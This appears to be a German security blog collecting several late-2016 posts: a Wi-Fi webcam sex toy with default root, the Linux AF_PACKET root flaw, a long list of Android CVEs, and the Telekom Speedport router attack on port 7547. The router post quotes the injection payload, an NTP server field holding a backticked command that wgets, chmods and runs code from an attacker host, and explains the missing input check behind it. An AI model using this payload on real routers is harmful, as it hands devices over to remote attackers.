IoT: Dildo mit WLAN Accesspoint , Default Root und WebCam

Ja, richtig gelesen, das IoT Desaster geht in die nächste Runde. Wie Heise auf seiner Webseite berichtet, wurde der Hersteller eines WLAN fähigen und mit WebCam ausgerüsteten Dildos bereits 2016 über die mannigfaltigen Schwachstellen seines Produkts informiert. Vor lauter Brumm-Brumm muß er den Hinweis wohl überhört haben, denn passiert ist nichts.

Den ganzen Spaß lest Ihr im Link unten.

Quelle: www.heise.de

Root-Exploit im TCP/IP Stack – CVE-2016-8655

Im Linux Kernel klafft die nächste Root-Lücke, diesmal im Netzwerkbereich, dem TCP/IP Stack.

Die Lücke können nur lokale Prozesse ausnutzen, i.d.R. braucht es daher eine weitere Sicherheitslücke z.b. im Browser oder einen angemeldeten Benutzer.  Das Ganze betrifft somit „eigentlich“ nur Server.

Updates gibt es derzeit für Fedora noch keine. Der neuste Kernel 4.8.12-200 vom 2.12. behebt das Problem  noch nicht, trotzdem sollte man den schon einspielen, denn wie man sieht, behebt er andere Securityprobleme:

* Fr Dez 02 2016 Justin M. Forbes <jforbes@fedoraproject.org> – 4.8.12-200
– Linux v4.8.12
– CVE-2016-9755 Fix Out-of-bounds write issue when defragmenting ipv6 packets (rhbz 1400904 1400905)
– CVE-2016-9756 Fix kvm: stack memory information leakage (rhbz 1400468 1400469)
– Fix kvm: out of bounds memory access via vcpu_id (rhbz 1400804 1400805)

Ubuntu stellt als erster gepatchte Kernel bereit, muß man auch mal lobend erwähnen.

Den Exploit für Ubuntu gibt es hier:

Linux Kernel 4.4.0 AF_PACKET Race Condition / Privilege Escalation

Wie man im Source lesen kann, hat sich der Autor auch schon an Fedora 25 probiert, es aber wieder auskommentiert.

Die nächste Sicherheitslücke klafft übrigens im Android Kernel, da können alle bekannten Android Versionen ab 4.4.4 von außen komplett übernommen werden. Erste Patche sind zwar schon bei den Herstellern verfügbar, aber wann die #1 Samsung, das Update bereitstellt, steht in den Sternen 🙁

Hier mal die Liste der von Google genannten Schwachstellenreports, die damit zusammen hängen, einige sind schon zwei Jahre alt :

CVE-2016-9120: Schwachstelle in Kernel ION Subsystem ermöglicht komplette
CVE-2016-8411: Schwachstellen in Qualcomm Komponenten ermöglichen komplette
CVE-2016-8410: Schwachstelle in Qualcomm Audiotreiber ermöglicht Ausspähen
CVE-2016-8408 CVE-2016-8409: Schwachstellen in NVIDIA Grafiktreiber
CVE-2016-8401 CVE-2016-8402 CVE-2016-8403 CVE-2016-8404 CVE-2016-8405
CVE-2016-8406 CVE-2016-8407: Schwachstellen in Kernelkomponenten ermöglichen
CVE-2016-8400: Schwachstelle in NVIDIA Grafikbibliothek ermöglicht Ausspähen
CVE-2016-8399: Schwachstelle im Netzwerk-Subsystem ermöglicht komplette
CVE-2016-8397: Schwachstelle in NVIDIA Grafiktreiber ermöglicht Ausspähen
CVE-2016-8396: Schwachstelle in MediaTek Grafiktreiber ermöglicht Ausspähen
CVE-2016-8395: Schwachstelle in NVIDIA Kameratreiber ermöglicht
CVE-2016-8393 CVE-2016-8394: Schwachstellen im Synaptics Touchscreen-Treiber
CVE-2016-6915 CVE-2016-6916 CVE-2016-6917: Schwachstellen im NVIDIA
CVE-2016-6791 CVE-2016-8391 CVE-2016-8392: Schwachstellen im Qualcomm
CVE-2016-6789 CVE-2016-6790: Schwachstellen in NVIDIA Grafikbibliothek
CVE-2016-6788: Schwachstelle im MediaTek I2C-Treiber ermöglicht komplette
CVE-2016-6786 CVE-2016-6787: Schwachstellen im Performance-Subsystem
CVE-2016-6778 CVE-2016-6779 CVE-2016-6780: Schwachstellen im HTC
CVE-2016-6775 CVE-2016-6776 CVE-2016-6777: Schwachstellen in NVIDIA
CVE-2016-6774: Schwachstelle in Package Manager ermöglicht Ausspähen von
CVE-2016-6773: Schwachstelle in Mediaserver ermöglicht Ausspähen von
CVE-2016-6772: Schwachstelle in Wi-Fi ermöglicht Ausführen beliebigen
CVE-2016-6771: Schwachstelle in Telephony ermöglicht Privilegieneskalation
CVE-2016-6770: Schwachstelle in Framework API ermöglicht
CVE-2016-6769: Schwachstelle in Smart Lock ermöglicht Privilegieneskalation
CVE-2016-6768: Schwachstelle in Bibliothek Framesequence ermöglicht
CVE-2016-6767: Schwachstelle in Mediaserver ermöglicht
CVE-2016-6765: Schwachstelle in Mediaserver ermöglicht
CVE-2016-6764 CVE-2016-6766: Schwachstellen in Mediaserver ermöglichen
CVE-2016-6763: Schwachstelle in Telephony ermöglicht
CVE-2016-6762: Schwachstelle in libziparchive ermöglicht Ausführung
CVE-2016-6758 CVE-2016-6759 CVE-2016-6760 CVE-2016-6761: Schwachstellen in
CVE-2016-6756 CVE-2016-6757: Schwachstellen in Qualcomm Komponeten
CVE-2016-6755: Schwachstelle in Qualcomm Kamera-Treiber ermöglicht
CVE-2016-6492 CVE-2016-6781 CVE-2016-6782 CVE-2016-6783 CVE-2016-6784
CVE-2016-6785: Schwachstellen in MediaTek-Treiber ermöglichen Ausführung
CVE-2016-5341: Schwachstelle in Qualcomm GPS-Komponente ermöglicht
CVE-2015-8967: Schwachstelle in Kernel ermöglicht Ausführung beliebigen
CVE-2015-8966: Schwachstelle in Kernel ermöglicht Ausführung beliebigen
CVE-2014-9909 CVE-2014-9910: Schwachstellen in Broadcom Wi-Fi-Treiber
CVE-2016-5195: Schwachstelle in Linux-Kernel ermöglicht Erlangen von
CVE-2016-5421: Schwachstelle in cURL ermöglicht Ausführung beliebigen
CVE-2016-5420: Schwachstelle in cURL ermöglicht Umgehen von
CVE-2016-5419: Schwachstelle in cURL ermöglicht Umgehen von
CVE-2016-4794: Schwachstelle in Linux-Kernel ermöglicht
CVE-2015-7872: Schwachstelle in Linux-Kernel erlaubt
CVE-2014-4014: Schwachstelle im Linux-Kernel ermöglicht

Speedportrouter der DTAG von Sicherheitsloch betroffen

Jetzt ist es endlich final, die DSL-Speedportrouter der Deutschen Telekom haben ein Sicherheitsloch auf Port 7547 :

https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

und ein echt dreckiges dazu, weil die Kisten a) auf jeden Zugriff reagieren und b) eine Remote-Execution möglich ist. Der Hack funktioniert so:

<NewNTPServer1>
`cd /tmp;wget http://angreiferszum nachladen von code/1>;chmod 777 1;./1`
</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>

Natürlich gehört zu dem Request noch mehr, aber das sind die Grundlagen und aus dem Kontext kann man ersehen, daß hier einfach ein parameter aus dem Web genommen wird und an die Bash weitergereicht wird ohne den Inhalt auf Konsistenz zu prüfen. Ein einfacher Test, ob da ein Domainname/IP drinsteht, hätte das bundesweite Chaos vom Wochenende verhindert.

Die DSL-Router wurden Ihnen „proudly presented by Zyxel“ !!! Amis 😉